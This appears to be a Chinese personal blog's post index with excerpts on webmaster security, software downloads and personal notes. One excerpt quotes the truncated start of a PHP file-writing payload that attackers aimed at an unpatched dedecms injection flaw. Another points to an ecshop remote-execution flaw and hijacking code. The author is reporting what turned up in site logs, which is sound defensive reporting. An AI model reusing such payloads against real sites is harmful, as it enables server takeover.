今天看日志，看到几个大黑客。客人的dedecms没有补dedesql.class.php的那个注入洞
975fb08ad5b2c7995d4bf371a1110bdf.inc821d1d2e4d6c5630.inc
<?php
$z[0]=Array("php","file_put_contents('fuck……继续阅读 » admin 5年前 (2018-10-09) 17920浏览 0评论 8个赞
今天想登录http://www.miibeian.gov.cn/查询一下网站备案情况，进入公共查询之后，验证码无法显示，刷新一下，ip就被封掉了。
规则有点太严了，也导致了验证码无法显示，问题大大滴，这看来是查询系统被cc攻击的厉害啊，不然没可能这样搞吧
……继续阅读 » admin 5年前 (2018-10-08) 16740浏览 1评论 4个赞
外面的世纪台风“山竹”呼呼大吹，把窗户玻璃刮的哐哐作响，甚是恐怖，百蔬君没敢去办公室，于是在家里静思，有了总结下过去、写写文章的想法。
百蔬君是个学农的，从农村中来，现在也服务农业，一晃间从华南农业大学毕业到农科院工作已经10年了，算得上是一个老农科人了。其中在我们单位公司待的3年给我的人生印象深刻，其中最为明显的印迹就是怀了3个月“身孕”的肚子，体重也从1……继续阅读 » admin 5年前 (2018-10-08) 12954浏览 0评论 7个赞
这几天在办公室做事，换了台电脑，发现几个经常用的软件竟然网上下载不到了，真是奇怪，每次都要跑去旧电脑翻箱倒柜，搞得很不方便。 很好用很强大的hypersnap 6，下载地址：https://pan.baidu.com/s/1FEi7lKtwY7kxJu3UmHY5Iw 密码：o9ch 很强大的随机密码生成软件PassworG，下载地址：https……继续阅读 » admin 5年前 (2018-10-06) 23721浏览 0评论 5个赞
最近ecshop的远程执行漏洞闹得很凶，处理这个问题的时候发现一个很有意思的劫持代码
<meta property="qc:admins" content="4201266257651135546375" /><meta property="wb:webmaster" conten……继续阅读 » admin 5年前 (2018-09-13) 65567浏览 4评论 11个赞
最近ecshop到处被插，基本上都被拿下，问题就是\includes\lib_insert.php文件中存在未过滤变量。
网上分析利用的文章很多了。
http://www.lsablog.com/networksec/penetration/ecshop2-x-rce-analysis/
https://www.colabug.com/4410……继续阅读 » admin 5年前 (2018-09-13) 11057浏览 0评论 2个赞
我完整的看完了美国网飞公司出版的《毒枭》第一季，第二季，超喜欢。
现在又放出了贪腐大片《黑金高墙》，在网上比较难找到该剧的中文字幕。
我就把高清大片和中文字幕一起放网盘分享了。 百度云地址：https://pan.baidu.com/s/1bo25alseiCq9sQ9ctTKsXw
密码：499y
mkv为高清，mp4自带中文字幕
……继续阅读 » admin 6年前 (2018-04-07) 85661浏览 2评论 44个赞
2018，新年快乐
最近开始玩新浪微博
需要刀城邀请码的加我新浪微博吧
私信我
……继续阅读 » admin 6年前 (2018-02-14) 9133浏览 0评论 0个赞
对于GBK版phpwind在用chrome下载中文名附件时，附件名称全是乱码，其原因就是没有强制编码
记录一下解决办法
在job.php中
在
header("Content-Disposition: $attachment; filename=\"{$attach['name']}\"");
下面，把
header("Content-type: $cty……继续阅读 » admin 6年前 (2018-02-10) 7865浏览 0评论 1个赞
看到最近那么多明星在微博撕逼，搞得我也想去玩玩新浪微博了，有兴趣的一起去浪啊
关注我新浪微博
……继续阅读 » admin 6年前 (2018-01-30) 6243浏览 0评论 0个赞
